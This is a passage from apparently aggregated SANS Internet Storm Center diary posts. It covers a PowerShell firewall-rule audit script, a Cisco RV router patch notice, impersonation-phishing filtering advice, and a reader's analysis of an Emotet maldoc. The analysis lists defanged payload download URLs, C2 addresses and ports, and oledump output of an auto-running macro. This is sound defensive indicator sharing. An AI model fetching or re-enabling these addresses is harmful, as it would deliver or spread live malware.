        $tempval = $rule | select displayname, description, enabled, profile, direction, action, policystoresource, policystoresourcetype
        $tempval | add-member -membertype noteproperty -name Protocol -value $pf.protocol
        $tempval | add-member -membertype noteproperty -name LocalPort -value $pf.LocalPort
        $tempval | add-member -membertype noteproperty -name RemotePort -value $pf.RemotePort
        $tempval | add-member -membertype noteproperty -name ICMPType -value $pf.ICMPType
        $tempval | add-member -membertype noteproperty -name DynamicTarget -value $pf.DynamicTarget
        $tempval | add-member -membertype noteproperty -name HostName -value $pc.dnshostname
        $tempval | add-member -membertype noteproperty -name OperatingSystem -value $pc.OperatingSystem
        $tempval | add-member -membertype noteproperty -name IpAddress -value $pc.IPV4Address
        $pfrules += $tempval
        }
    }
}
$pfrules | export-csv -path ./fw-packetfilterrules.csv

 

So, the next time you have a conversation when they say that "it must have been targeted malware" or "it was a nation-state class attack" when they are ransomwared, take a peek at their GPO's - see if they had their workstation and servers firewalls enabled, let alone configured!  Run a quick audit of what's actually on their workstations and servers, especially the settings for laptops when they are off-premise.

Have you been involved in an incident where host firewalls (Windows or otherwise) have truly saved the day?  Or have you been in one that was a true trip to h-e-double-hockey-sticks, and proper host firewalls would have maybe prevented that trip?  Please, share using our comment form below!

===============
Rob VandenBrink
Compugen

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 4.

ISC Stormcast For Monday, March 4th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6396, (Mon, Mar 4th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 1.

Critical Cisco Wireless Patch for RV Series, CVE-2019-1663., (Fri, Mar 1st)

Cisco has released a critical patch for the RV110W, RV130W, and RV215W wireless routers. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. This was initially discussed at the GeekPwn Shanghai conference on October 24-25, 2018.

 

Check out the link below for more information.

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex

 

--

Tom Webb @twsecblog

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. március 1.

ISC Stormcast For Friday, March 1st 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6394, (Fri, Mar 1st)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. február 28.

ISC Stormcast For Thursday, February 28th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6392, (Thu, Feb 28th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. február 28.

Phishing impersonations, (Thu, Feb 28th)

Phishing is a constant cat and mouse game. Most organizations are now doing SPF, DMARC and other technologies to prevent spoofed emails from making it into your user's inbox.  Attackers have now been shifting to using real accounts from providers.

The type of attack we are seeing recently tries to bypass these more traditional protections by useing Impersonation attacks. This is where the displayed name in the email client is the same as the person of interest along with a plausible email address.  

Let say your CEOs name is Tony Stark and his legitimate address is Tony.Stark@Stark.com.  The attacker would set a display name as Tony Stark and address Tony.Stark@my.com. My.com has been used a lot in the past six months for these types of attacks. You can easily block any emails from the domain my.com in your mail filters.

Attackers are also using Gmail, Yahoo and other major domains with the same technique (e.g. Tony.Stark@gmail.com or Tstark@yahoo.com).  Unfortunately, in most cases you will not be able to block these domains. The way many email products are fighting this is by a feature most are calling impersonation detection. Setup a profile in the product for the display name of VIP’s and it tries to detect fake accounts.  My issue with these is that you are leaving it up to a “BlackBox” to determine if your VIP’s email is going to work.

If you have the option in your email solution to use Yara rules or nested if statements, this seems to be the best solution overall.  Once you have determined what VIP’s you want to place this on, you need to use their real personal address. After that, you do a nested if statement for blocking anything else.

 

If Display Name “ Tony Stark”

And  If addreess is  Ironman@gmail.com

Or Tony.Stark@stark.com    (Pass)

 

Else  (Junk)

If you start running into many false positives due to a common name of a VIP, you can start adding to the whitelist and continue to build it out.  This can be tedious and having a small number on the list is key. I would suggest at least your C-Levels, General Counsel and Finance/Payroll.

 

What techniques have been successful for you?  

--

Tom Webb @twsecblog

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. február 27.

Maldoc Analysis by a Reader, (Wed, Feb 27th)

Reader Vinnie submitted a malicious document, including his analysis of this document. Great job!

Here is his analysis (we're publishing some parts as pictures, to avoid triggering anti-virus when you view this diary entry):

 

Host performing SQL injection scanning also hosting Emotet Maldoc.

Junos Attack log <35.190.186[.]53/56354->X.X.X.X/80> HTTP-SQL-INJ

Host 35.190.186[.]53 GEO DATA (53.186.190[.]35.bc.googleusercontent.com, Google Provider, Virginia US)

VirusTotal: hxxp://35.190.186[.]53/De/SKTAPCYQTR6199495/Scan/Rechnungsanschrift

https://www.virustotal.com/#/file/15ea29d0e483c01df72c126e1a0b599f94bdc29dfb38a77306633c45d1851325/detection

File name:      190220-Pay_receipt-747585655.doc
File size:      308.63 KB
SHA-256:        15ea29d0e483c01df72c126e1a0b599f94bdc29dfb38a77306633c45d1851325

Similar files hosted on sites:
hxxp://13.233.173[.]191/wp-content/BXROAQEY9168432/gescanntes-Dokument/DETAILS/
hxxp://54.164.84[.]17/De/ZEDLYG0772400/GER/FORM
hxxp://104.198.73[.]104/De_de/BYLZNG4781296/Rechnungs-docs/Fakturierung/
hxxp://128.199.68[.]28/DE/GHQQAE4843885/GER/RECHNUNG/
hxxp://54.175.140[.]118/Februar2019/NFZJSULXU2729511/DE_de/Zahlungserinnerung
hxxp://botmechanic[.]io/DE_de/BJAWTAW9909728/de/Rechnungszahlung

String 'shell' & Base64 encoded command in VBA compressed macro found in stream 8. Shown with yara rule below.

python ~/Documents/oledump.py -y#s#'shell' ~/Downloads/190220-Pay_receipt-747585655.doc.vir

1:       114 '\x01CompObj'
2:      4096 '\x05DocumentSummaryInformation'
3:      4096 '\x05SummaryInformation'
4:      7514 '1Table'
5:    129889 'Data'
6:       420 'Macros/PROJECT'
7:        47 'Macros/PROJECTwm'
8: M  113116 'Macros/VBA/D_03_5'
YARA rule: string
9: m    1105 'Macros/VBA/X85417_'
10:     32735 'Macros/VBA/_VBA_PROJECT'
11:      1221 'Macros/VBA/__SRP_0'
12:       106 'Macros/VBA/__SRP_1'
13:       220 'Macros/VBA/__SRP_2'
14:        66 'Macros/VBA/__SRP_3'
15:       548 'Macros/VBA/dir'
16:      4096 'WordDocument'
All VBA source code:

Variables defined in Function from stream 8:

- -URL's-
hxxp://51.15.113[.]220/2sT3beRO4
hxxp://167.99.85[.]165/XyBY4Kl
hxxp://18.205.117[.]241/wp-content/uploads/P7KgkINX
hxxp://23.23.29[.]10/DAINhWrv
hxxp://18.213.62[.]169/wp-content/uploads/oEk4aUu

Interesting Strings:
Project.D_03_5.autoopen
PROJECT.D_03_5.AUTOOPEN
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\system32\stdole2.tlb

Post Infection Traffic from EXE found at hxxp://51.15.113[.]220/2sT3beRO4:
URL hxxp://23.233.240[.]77:8443/
URL hxxp://201.122.94[.]84:8080/
URL hxxp://187.163.204[.]187:995/

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.